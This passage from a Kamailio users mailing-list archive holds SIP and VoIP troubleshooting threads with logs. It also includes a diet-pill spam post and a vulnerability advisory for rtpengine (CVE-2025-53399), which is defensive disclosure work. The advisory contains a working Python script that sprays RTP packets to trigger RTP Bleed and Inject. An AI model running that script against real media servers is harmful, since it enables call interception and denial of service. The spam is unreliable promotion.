192.168.2.185:46431, SSRC 0, 0 p, 0 b, 0 e, 30 ts 2025-08-07T07:48:00.230554949Z INFO: [412n0o8dedgair81t70p]: [core] --- Tag '', created 0:30 ago for branch 'z9hG4bK16860370' 2025-08-07T07:48:00.230563124Z INFO: [412n0o8dedgair81t70p]: [core] --- subscribed to 'hc7h5imu96' 2025-08-07T07:48:00.230570851Z INFO: [412n0o8dedgair81t70p]: [core] --- subscription for 'hc7h5imu96' 2025-08-07T07:48:00.230578827Z INFO: [412n0o8dedgair81t70p]: [core] ------ Media #1 (audio over RTP/AVP) using unknown codec 2025-08-07T07:48:00.230587091Z INFO: [412n0o8dedgair81t70p]: [core] --------- Port 192.168.2.209:23494 <> :0 , SSRC 0, 0 p, 0 b, 0 e, 30 ts 2025-08-07T07:48:00.230595631Z INFO: [412n0o8dedgair81t70p]: [core] --------- Port 192.168.2.209:23495 <> :0 (RTCP), SSRC 0, 0 p, 0 b, 0 e, 30 ts 2025-08-07T07:48:00.230603868Z INFO: [412n0o8dedgair81t70p]: [control] Replying to 'delete' from 127.0.0.1:36296 (elapsed time 0.000253 sec) *2025-08-07T07:48:00.230753116Z 2(45) INFO: <script>: Failure: <null> 2(45) WARNING: tm [../../core/forward.h:203]: msg_send_buffer(): TCP/TLS connection for WebSocket could not be found* --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- especially the bold lines confuse me. Why is the TCP/TLS closed and can not be found ? Could that be the problem ?* * * * Thanks for some help and best regards Peter* *

4 7

Webrtc connection failure on multiple kamailio server setup
by er.maharaja＠gmail.com 07 Aug '25

07 Aug '25

Hi all, I am running 2 kamailio instances in kubernetes (daemonsets). kamailio act as webrtc server. all my webrtc clients are registered into kamailio. registration stored in location table (usrloc). Issue: 1. Webrtc client registers to kamailio instance-1 2. I am trying to make outbound call and it was initated from kamailio-2 3. kamailio-2 looks up into location table in DB and finds the user 4. However, when it tries to send the call over websocket's tcp, it fails with the following message 4(197) WARNING: {1 102703821 INVITE 0396e8d0-edae-123e-738c-325f60cc5a45} <core> [core/msg_translator.c:3036]: via_builder(): TCP/TLS connection (id: 0) for WebSocket could not be found Logically this is correct as the instance doesn't aware of the connection (kamcmd ws.dump does show the connection on kamailio-2 but it is seen in kamailio-1) I need help to share this connection details between the instances so that any kamailio instance can make outbound call regardless of where it was registered. Thank you for your help in advance. Maharaja

3 7

RTPEngine and branch_route
by David Tek 07 Aug '25

07 Aug '25

Hello, Using Kamailio 6.0.2. I'm running a registrar that can fork incoming calls to two or more registered users. Some users are WebRTC and others are not, so RTPEngine needs to handle them differently. In the branch route, I call: rtpengine_manage("via-branch=auto replace-origin"); However, the via-branch passed to RTPEngine doesn't match the branch ID of the actual INVITEs sent out. When one branch answers, the others get a CANCEL, but the CANCEL/200 OK sent to RTPEngine includes a different via-branch than the one used for the original INVITE. This causes media handling issues. I saw that the docs suggest using $T_branch(name) or AVPs to set the correct branch name, but $T_branch(name) seems deprecated or removed. In previous setups, branching was done on a separate instance, so identifying the right branch was easier. Now that it's local, I’m unsure how to arm rtpengine_manage() with the correct via-branch. *TL;DR:* When doing local forking, how can I set the correct via-branch value for each leg in rtpengine_manage()? Thanks, David

4 5

Question Regarding Flags Behavior in Dialog Callback
by serdar.gucluer＠netgsm.com.tr 07 Aug '25

07 Aug '25

Hi all, I'm using the pua_dialoginfo module to publish peer state changes to target servers. I was hoping to control which states are published by using the disable_caller_publish_flag and disable_callee_publish_flag parameters. To debug this, I added some logs in pua_dialoginfo.c, and it seems that the flags information coming from the dialog callback does not reflect the updated flag settings from the script configuration. Here is a simplified scenario from my configuration: route[WITHINDLG] { if (has_totag()) { if (loose_route()) { if(!isdsturiset()) handle_ruri_alias(); if (is_method("REFER")) { sl_send_reply("403", "Not allowed"); exit; } if (is_method("ACK")) route(NATMANAGE); if (is_method("BYE|ACK")) { xlog("L_WARN", "[$ci] - WITHINDLG worked for $rm -> script flag : $sF --- branch flags : $bF --- Transaction flags : $mF \r\n"); setflag(PDLGINFO_CALLEE); xlog("L_WARN", "[$ci] - WITHINDLG worked for $rm -> script flag : $sF --- branch flags : $bF --- Transaction flags : $mF \r\n"); } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) exit; if (is_method("ACK")) { if (t_check_trans()) t_relay(); else exit; } sl_send_reply("404","Not here"); } exit; } } DEBUG: pua_dialoginfo [pua_dialoginfo.c:461]: __dialog_sendpublish(): confirmed - from_uri: sip:xxx@mydomain.com DEBUG: pua_dialoginfo [pua_dialoginfo.c:462]: __dialog_sendpublish(): confirmed - to_uri: sip:yyy@mydomain DEBUG: pua_dialoginfo [pua_dialoginfo.c:463]: __dialog_sendpublish(): confirmed - callid: 43005250998501278412250319c7836b DEBUG: pua_dialoginfo [pua_dialoginfo.c:464]: __dialog_sendpublish(): confirmed - from_tag: xk3431808229 DEBUG: pua_dialoginfo [pua_dialoginfo.c:465]: __dialog_sendpublish(): confirmed - req_uri: sip:yyy@mydomain DEBUG: pua_dialoginfo [pua_dialoginfo.c:466]: __dialog_sendpublish(): confirmed - from_contact: sip:xxx@1.1.1.1:1111 DEBUG: pua_dialoginfo [pua_dialoginfo.c:467]: __dialog_sendpublish(): confirmed - uuid: padi-68946f96-3beb95-1 DEBUG: pua_dialoginfo [pua_dialoginfo.c:469]: __dialog_sendpublish(): confirmed - lifetime: 3600 DEBUG: pua_dialoginfo [pua_dialoginfo.c:470]: __dialog_sendpublish(): confirmed - disable_caller_publish: 0 DEBUG: pua_dialoginfo [pua_dialoginfo.c:471]: __dialog_sendpublish(): confirmed - disable_callee_publish: 0 DEBUG: pua_dialoginfo [pua_dialoginfo.c:477]: __dialog_sendpublish(): confirmed - pubruris_caller: sip:xxx@mydomain DEBUG: pua_dialoginfo [pua_dialoginfo.c:483]: __dialog_sendpublish(): confirmed - pubruris_callee: sip:yyy@mydomain DEBUG: pua_dialoginfo [pua_dialoginfo.c:487]: __dialog_sendpublish(): confirmed - checking caller publish conditions... DEBUG: pua_dialoginfo [pua_dialoginfo.c:488]: __dialog_sendpublish(): confirmed - dlginfo->disable_caller_publish: 0 DEBUG: pua_dialoginfo [pua_dialoginfo.c:489]: __dialog_sendpublish(): confirmed - disable_caller_publish_flag: 8 DEBUG: pua_dialoginfo [pua_dialoginfo.c:490]: __dialog_sendpublish(): confirmed - request is NOT NULL DEBUG: pua_dialoginfo [pua_dialoginfo.c:492]: __dialog_sendpublish(): confirmed - request->flags: 0x20 DEBUG: pua_dialoginfo [pua_dialoginfo.c:494]: __dialog_sendpublish(): confirmed - bit checked: (1 << 8) = 0x100, result = NOT SET WARNING: <script>: [43005250998501278412250319c7836b] - WITHINDLG worked for ACK -> script flag : 00000000 --- branch flags : 00000040 --- Transaction flags : 00000020 WARNING: <script>: [43005250998501278412250319c7836b] - WITHINDLG worked for ACK -> script flag : 00000000 --- branch flags : 00000040 --- Transaction flags : 00000220 My question is: Is there a mistake in how I’m using or setting the flags? Or, if not, how can I ensure that the updated flag values are correctly propagated to the dialog callback events? Any insights would be greatly appreciated. Thanks in advance! Serdar

1 0

Kamailio - SIPDUMP doesn't capture the IP header information (ECN)
by ilyass.ghijjou＠gmail.com 06 Aug '25

06 Aug '25

I am using Kamailio as a proxy between a public and private network (tls and udp), i was wondering if there is a way to capture SIP messages along with their IP header metadata using SIPDUMP in Kamailio. For example, I would like to see the real DSCP value, which is set to zero by default (by SIPDUMP i guess). When i run a tcpdump i can see that the dscp is set to 0xb8 but in in the sipdump capture is set to 0x00

1 0

wrong transport selected
by Andrei Fedorov 06 Aug '25

06 Aug '25

Hello please advice what is wrong The scenario is following Client get registred with p-cscf using udp as transport and ipsec enabled Registration completed successfully. Client send reg event SUBSCRIBE, and get 200 back But it do not get any notification then. In p-cscf container I am observing NOTIFY coming from s-cscf and then something strange happen 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: PCSCF: NOTIFY sip:172.22.0.1:55822;transport=udp (sip:9076543210@ims.mnc001.mcc001.3gppnetwork.org (172.22.0.20:6060) to sip:9076543210@ims.mnc001.mcc001.3gppnetwork.org, 0ed4dd8c-89a5-42ac-80cb-690891a400f1) 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: Within DLG 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: Within loose route 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: PCSCF MO_indialog: Destination URI: <null> Request URI: sip:172.22.0.1:55822;transport=udp 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: Source IP and Port: (172.22.0.20:6060) Route-URI: sip:mo@172.22.0.21:6101;lr=on;ftag=b7f568fe 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: Received IP and Port: (172.22.0.21:6101) 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: Next hop domain: (172.22.0.1) 52(95) NOTICE: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} <script>: Contact header: <sip:scscf.ims.mnc001.mcc001.3gppnetwork.org:6060> 52(95) INFO: {1 350779919 NOTIFY 0ed4dd8c-89a5-42ac-80cb-690891a400f1} ims_ipsec_pcscf [cmd.c:1187]: ipsec_forward(): new destination URI: sip:172.22.0.1:55822 99(142) ERROR: <core> [core/tcp_main.c:4645]: handle_tcpconn_ev(): connect 172.22.0.1:55822 failed as you may see, request states transport=udp, Request URI: sip:172.22.0.1:55822;transport=udp while p-cscf then trying to use tcp?? 99(142) ERROR: [core/tcp_main.c:4645]: handle_tcpconn_ev(): connect 172.22.0.1:55822 failed what is wrong? Using tcp as a transport initially works well and NOTIFY is coming to the client. thanks in advance Andrei

2 2

Unable to access HTTP request headers using microhttpd module
by i.ribakov＠zaleos.net 05 Aug '25

05 Aug '25

I'm trying to access the value of HTTP X header inside "event_route[microhttpd:request]" as follows: ``` xlog("L_INFO", "$mhttpd(H:X-Foo)\n"); ``` But I'm getting null. I also tried non-X headers `$mhttpd(H:Content-Type)` but still no luck. When running with DEBUG logs, I'm not seeing any hints as to what might be going wrong: ``` { "time": "2025-08-05T15:34:33.177582092Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: ctl [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177649420Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: jsonrpcs [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177667928Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: usrloc [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177695097Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/utils/sruid.c", "line": 127, "function": "sruid_init", "logprefix": "", "message": "root for sruid is [ulcx-1-68922489-21-] (0 / 19)" } { "time": "2025-08-05T15:34:33.177713396Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: tm [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177742450Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "tm", "file": "callid.c", "line": 138, "function": "child_init_callid", "logprefix": "", "message": "callid: '78f687a61e6a21b7-33(a)10.52.0.100'" } { "time": "2025-08-05T15:34:33.177751949Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: tmx [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177768432Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "tmx", "file": "tmx_mod.c", "line": 249, "function": "child_init", "logprefix": "", "message": "rank is (-2)" } { "time": "2025-08-05T15:34:33.177777023Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: sl [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177792318Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: uac [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177807544Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: ndb_redis [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.177827100Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "ndb_redis", "file": "redis_client.c", "line": 259, "function": "redisc_init", "logprefix": "", "message": "Connecting to 22.22.22.102:6379" } { "time": "2025-08-05T15:34:33.178143906Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "ndb_redis", "file": "redis_client.c", "line": 271, "function": "redisc_init", "logprefix": "", "message": "rsrv->ctxRedis = 0x5df7e046fb40" } { "time": "2025-08-05T15:34:33.178464903Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: htable [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178536771Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "htable", "file": "htable.c", "line": 267, "function": "child_init", "logprefix": "", "message": "rank is (-2)" } { "time": "2025-08-05T15:34:33.178576651Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: corex [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178620093Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: dialog [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178664304Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: rtpengine [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178765506Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: nathelper [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178805176Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: dispatcher [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178846034Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: http_client [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178887870Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "http_client", "file": "http_client.c", "line": 414, "function": "child_init", "logprefix": "", "message": "*** http_client module initializing process 33" } { "time": "2025-08-05T15:34:33.178919788Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "core", "file": "core/sr_module.c", "line": 919, "function": "init_mod_child", "logprefix": "", "message": "idx 22 rank -2: microhttpd [MicroHTTPd Server Process]" } { "time": "2025-08-05T15:34:33.178961414Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "microhttpd", "file": "microhttpd_mod.c", "line": 603, "function": "microhttpd_server_run", "logprefix": "", "message": "preparing to listen on 10.52.0.100 :8081" } ... { "time": "2025-08-05T15:34:34.375701559Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "microhttpd", "file": "microhttpd_mod.c", "line": 521, "function": "ksr_microhttpd_request", "logprefix": "", "message": "incoming data: [{\"jsonrpc\":\"2.0\",\"method\":\"core.version\",\"id\":1}]" } { "time": "2025-08-05T15:34:34.375729356Z", "idx": 22, "pid": 33, "level": "DEBUG", "module": "microhttpd", "file": "microhttpd_mod.c", "line": 553, "function": "ksr_microhttpd_request", "logprefix": "", "message": "executing event_route[microhttpd:request] (5)" } { "time": "2025-08-05T15:34:34.375793262Z", "idx": 22, "pid": 33, "level": "INFO", "module": "xlog", "file": "xlog.c", "line": 283, "function": "", "logprefix": "", "message": "<null>" } ``` Am I missing something or is this a bug? P.S. all other pre-fetched request data is fine (I checked path and body).

1 0

Dispatcher failover to the next least loaded destination
by i.ribakov＠zaleos.net 05 Aug '25

05 Aug '25

Hi all, I'm wondering if it is currently supported to perform failover while respecting the call load distribution algorithm. What makes me doubt this is possible is the following wording in the documentation: > The rest of the destination list is taken in order of the entries in set - anyhow, until a re-route to next destination happens, the load on each address can change. From it it's not clear if ds_next_dst() will simplify use next entry from the AVP list or if it will attempt to intelligently choose next entry from the AVP list taking into the account updated call load of the remaining entries.

3 3

Unknown character set utf8mb4
by Igor Potjevlesch 05 Aug '25

05 Aug '25

Hello, We move to fresh version of Kamailio 6. We have a MySQL backend in an old version. We have many errors like this: ERROR: db_mysql [km_dbase.c:127]: db_mysql_submit_query(): driver error on query: Unknown character set: 'utf8mb4' (1115) ERROR: <core> [lib/srdb1/db_query.c:393]: db_do_update(): error while submitting query ERROR: dialog [dlg_db_handler.c:1000]: update_dialog_dbinfo_unsafe(): could not update database info ERROR: db_mysql [km_dbase.c:127]: db_mysql_submit_query(): driver error on query: Unknown character set: 'utf8mb4' (1115) ERROR: <core> [lib/srdb1/db_query.c:158]: db_do_query_internal(): error while submitting query ERROR: avpops [avpops_impl.c:328]: ops_dbload_avps(): db_load failed ERROR: db_mysql [km_dbase.c:127]: db_mysql_submit_query(): driver error on query: Unknown character set: 'utf8mb4' (1115) ERROR: <core> [lib/srdb1/db_query.c:158]: db_do_query_internal(): error while submitting query ERROR: avpops [avpops_impl.c:328]: ops_dbload_avps(): db_load failed It looks like the accounting module is not affected because we have writes in acc table. Registrar is affected because dump from location to location table is not working. Is there a way to make it work with older version of MySQL? Regards, Igor. -- Cet e-mail a été vérifié par le logiciel antivirus d'Avast. www.avast.com

2 5

$http_rs shows 401 even when final response is 201 (http_async_query + Basic Auth)
by Joel Serrano 05 Aug '25

05 Aug '25

Hi all, I'm seeing some unexpected behavior from $http_rs when using http_async_query() to send a POST request to an endpoint that requires Basic (username/password) authentication. When I use: ``` $http_req(username) = "someuser"; $http_req(password) = "somepass"; ``` the request goes through and the server responds with a *201 Created*, as expected. The response body ($http_rb) contains the correct result. However, $http_rs still shows *401 Unauthorized*. I believe this happens because curl receives a 401 challenge first, then retries with the provided credentials and gets the correct 201. It seems $http_rs is reflecting the status from the initial challenge rather than the final response. This is on Kamailio v6.0.1. As a workaround, I tried manually setting the *Authorization* header like this: ``` $var(credentials) = "someuser:somepass"; $http_req(hdr) = "Authorization: Basic " + $(var(credentials){s.encode.base64}); ``` In that case, $http_rs correctly shows 201. Is it expected for $http_rs to stay at 401 in the first scenario? Or should it reflect the final status code after curl completes the full request cycle? Thanks, Joel.

2 2

Lean X Abnehmen Kapseln: Inhaltsstoffe, Wirkung & Erfahrungen
by leanxkaufen＠outlook.com 01 Aug '25

01 Aug '25

Der Ansatz von Lean X basiert auf einem ganzheitlichen Gesundheitsverständnis: Abnehmen soll nicht durch Verzicht oder radikale Diäten erreicht werden, sondern durch die Unterstützung natürlicher Körperprozesse. Ziel ist es, den Körper wieder ins Gleichgewicht zu bringen und ihn dabei zu unterstützen, überschüssige Pfunde nachhaltig loszuwerden – ohne Jojo-Effekt. Offizielle Website https://www.offerplox.com/lean-x Facebook https://www.facebook.com/LeanXErfahrungen/ https://www.facebook.com/groups/leanxkapseln https://www.facebook.com/groups/leanxshopapotheke https://www.facebook.com/groups/leanxpries https://www.facebook.com/groups/leanxgewichtsverlust

1 0

Rtpengine: RTP Inject and RTP Bleed vulnerabilities despite proper configuration (CVSS v4.0 Score: 9.3 / Critical)
by Sandro Gauci 31 Jul '25

31 Jul '25

Rtpengine: RTP Inject and RTP Bleed vulnerabilities despite proper configuration (CVSS v4.0 Score: 9.3 / Critical) - CVSS v4.0 - Exploitability: High - Complexity: Low - Vulnerable system: Medium - Subsequent system: Medium - Exploitation: High - Security requirements: High - Vector: https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N… - Other references: CVE-2025-53399 (https://www.cve.org/CVERecord?id=CVE-2025-53399) - Fixed versions: >= mr13.4.1.1 (https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1) - Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2025-01-rtpengin… - Tested vulnerable versions: mr13.3.1.4 and lower - Timeline: - First report: 2025-04-24 - Triaged: 2025-04-30 - Fix provided for testing: 2025-05-05 - Various back and forth and more fixes: 2025-05 / 2025-06 - Vendor applied all fixes satisfactorily to master branch: 2025-06-05 - Enable Security verified and confirmed fix: 2025-06-26 - Vendor release with fix (mr13.4.1.1): 2025-07-03 - Enable Security advisory: 2025-07-31 DESCRIPTION Media servers often support source address learning to dynamically adapt to network conditions and client behavior. This is especially useful in scenarios involving NAT where the source IP and port of incoming RTP packets may differ from what was initially signaled via SDP over SIP. However, this mechanism can be exploited for two types of attacks if malicious packets are accepted as legitimate: 1. RTP Bleed - when a victim's media (e.g., audio) can be redirected to an attacker-controlled host 2. RTP Inject – when attackers can insert arbitrary RTP packets into active calls Note: Neither of these attacks requires the attacker to act as a man-in-the-middle. Additionally, when rtpengine relays SRTP packets in vulnerable versions, it does not validate their authentication tag, also allowing RTP Bleed and RTP Inject despite the use of SRTP which should guarantee confidentiality and integrity. Instead of dropping packets with missing or invalid authentication tags, it forwards them for processing. The purpose of this advisory is to describe security fixes that aim to fully address or at least mitigate these RTP Bleed and RTP Inject attacks wherever possible. While complete elimination of these vulnerabilities may not always be achievable due to the inherent nature of RTP learning mechanisms, the fixes provide significant improvements in security posture. TECHNICAL DETAILS Rtpengine provides the following learning modes through the --endpoint-learning option: - delayed (default): waits 3 seconds before learning the source address from the first RTP packet received after the delay. - immediate: learns the address from the very first incoming packet, with no delay. - no-learning: disables learning entirely, which is the only mode that is not vulnerable but can break connectivity for clients behind NAT. - heuristic: combines a 3-second delay with a ranking system that prefers addresses matching the original SDP, falling back to partial matches or any observed address if necessary. Additionally, rtpengine supports an optional strict source flag that forces continued inspection of source addresses and ports of incoming RTP packets. It does this after the learning phase, enforcing what was previously learned. The strict source flag is meant to prevent RTP Inject but needs the learning mode to work as expected for it to also work correctly. The often recommended mitigation is to make use of SRTP, with the assumption that rtpengine would discard any RTP packets that fail the authentication tag check. However, in rtpengine mr13.3.1.4 and lower, this was not found to be the case when using SDES-SRTP. The following is a behavior matrix for rtpengine versions mr13.3.1.4 and lower showing different learning modes and flags. This table shows that none of the learning modes nor strict source mitigated the attacks described, except for the combination of strict source with no-learning: | Delayed | Heuristic | No learning | Immediate | no strict source | Inject, Bleed | Inject, Bleed | Inject only | Inject, Bleed | strict source | Inject, Bleed | Inject, Bleed | No Inject or Bleed | Inject, Bleed | The same behavior occurred whether rtpengine relayed plaintext RTP or SDES-SRTP. The heuristic flag did not prevent RTP Bleed or RTP Inject attacks, even when the correct IPs and ports are exchanged over SDP. With the updated version, rtpengine's heuristic behavior was changed so that the learning modes behave as expected, giving administrators the opportunity to mitigate these vulnerabilities while still handling NAT complexities. The following is the same behavior matrix, but with the fixed version: | Delayed | Heuristic | No learning | Immediate | no strict source | Inject, Bleed | Inject, <5 packets Bleed | Inject only | Inject, Bleed | strict source | Inject, Bleed | <5 packets Inject, <5 packets Bleed | No Inject or Bleed | Inject, Bleed | This means that with the updated version, the heuristic mode limits attacks to at most the first 5 packets for both injection and bleeding. We believe that in many live environments, the recommended setup would be to use heuristic learning with strict source, which keeps the flexibility of endpoint learning while significantly mitigating RTP inject and RTP bleed attacks. In the case of SDES-SRTP, we also recommend using heuristic learning mode with strict source, which keeps the flexibility of endpoint learning while mitigating RTP inject and RTP bleed. However, for complete protection with SRTP, a patch specific to SRTP was introduced by adding a new recrypt flag. This flag forces rtpengine to decrypt and then re-encrypt RTP packets, thus validating the authentication tag before any further processing. This ensures that unauthenticated packets are discarded. This new flag should be used in addition to the previously recommended learning mode and flag. Patched version behavior matrix for SDES-SRTP, with and without recrypt: | Delayed | Heuristic | No-learning | Immediate | Without recrypt | Inject, Bleed | Inject, <5 packets Bleed | Inject only | Inject, Bleed | With recrypt | No Inject or Bleed | No Inject or Bleed | No Inject or Bleed | No Inject or Bleed | There is the special case of DTLS-SRTP, typically used for WebRTC environments, which was found vulnerable to RTP Bleed but not RTP Inject. This was due to the logic applied in this case, where learning mode occurred before the RTP packets were properly validated. This has also received a security fix. IMPACT In the case of plaintext RTP, this vulnerability allows attackers to perform RTP Inject as well as RTP Bleed. RTP Inject affects the integrity of the media while RTP Bleed affects the confidentiality of calls. In cases where rtpengine is relaying plaintext RTP as well as when it relays SRTP (in vulnerable versions), the vulnerabilities will cause Denial of Service because the RTP packets will be sent to the attacker instead of the legitimate recipient. HOW TO REPRODUCE THE ISSUE To reproduce this issue in a reliable manner, a security tester needs three different parties each with their own IP address: 1. Vulnerable rtpengine server 2. An attacker node 3. A victim user node Steps: 1. Run tcpdump on the attacker node to monitor for incoming packets from the target: tcpdump -iany -w /tmp/rtpbleed.pcap src host <target_ip> and not icmp 2. Save the following Python script as sprayrtp.py: import socket, argparse parser = argparse.ArgumentParser(description="Spray simple RTP packets over a port range") parser.add_argument("target", help="Target IP address") parser.add_argument("start_port", type=int, help="First UDP port to spray") parser.add_argument("end_port", type=int, help="Last UDP port to spray") args = parser.parse_args() rtppacket=[0x80, 0x0, 0xee, 0x3c, 0x4, 0x42, 0xa2, 0xc1, 0xef, 0xa, 0x7, 0xde] rtppacket+=[0x0 for _ in range(160)] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while True: for port in range(args.start_port, args.end_port + 1): sock.sendto(bytes(rtppacket), (args.target, port)) 3. Run the script on the attacker node against the target: python3 sprayrtp.py <target_ip> <start_port> <end_port> 4. From the victim user node, place a number of calls that make use of SRTP. 5. Observe that tcpdump on the attacker node will show incoming packets from the vulnerable target. Note: a SIP signaling server such as Kamailio or OpenSIPS is usually part of the setup as well. SOLUTIONS AND RECOMMENDATIONS It is recommended to upgrade to a fixed version, and to either disable learning entirely or use the heuristic learning mode in conjunction with the strict source flag. When using SDES-SRTP, it is recommended to use both strict source and recrypt flags for complete protection. While fixes for the heuristic mode were backported to earlier versions, the new recrypt flag is only available in the latest version. In the case of DTLS-SRTP, a fix was made so that SRTP validation occurs before learning mode. We highly recommend upgrading to access these security features. The first version that includes the fixes is available at https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1. ABOUT ENABLE SECURITY Enable Security (https://www.enablesecurity.com) provides quality penetration testing to help protect your real-time communications systems against attack. DISCLAIMER The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. DISCLOSURE POLICY This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.

2 2

No audio Over VPN
by Fernando Lopes 31 Jul '25

31 Jul '25

Hello everyone, I'm having some issues with SIP when the VPN is active. I'm running a Docker container inside WSL. My WSL IP is 172.31.217.74, and my machine's IP is 192.168.1.77. When I connect to the VPN, I get the IP 192.168.1.129. When I place a call, I see this log. I've tried disabling ICE, setting the public IP of the SIP server in MicroSIP, and manually specifying my local machine IP. This does change the c= and a= parameters in the SDP, but it still doesn't work. Everything works fine without the VPN. I need the VPN active to access certain endpoints, but SIP stops working once it's connected. INVITE sip:100@localhost;transport=tcp SIP/2.0 Via: SIP/2.0/TCP 172.31.208.1:54367;rport;branch=z9hG4bKPjb591721e91454d2bae56a9edfc645ebe;alias Max-Forwards: 70 From: "6001" <sip:6001@localhost>;tag=daa078657d2949e68935f308beeb8b89 To: <sip:100@localhost> Contact: "6001" <sip:6001@172.31.208.1:54367;transport=TCP;ob>;+sip.ice Call-ID: 49c169a9e92d4b23ad70709636ccab4f CSeq: 13400 INVITE Route: <sip:172.31.217.74;transport=tcp;lr> Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.6 Content-Type: application/sdp Content-Length: 1345 v=0 o=- 3962710251 3962710251 IN IP4 192.168.1.129 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 4030 RTP/AVP 8 0 96 97 98 9 99 100 101 102 103 c=IN IP4 192.168.1.129 b=TIAS:64000 a=rtcp:4001 IN IP4 192.168.1.129 ... a=ice-ufrag:1d266809 a=ice-pwd:2f7e2ef6047a47d832ed0f55 a=candidate:Hc0a80181 1 UDP 2130706431 192.168.1.129 4030 typ host a=candidate:Hc0a8014d 1 UDP 2130706175 192.168.1.77 4030 typ host a=candidate:Hc0a83801 1 UDP 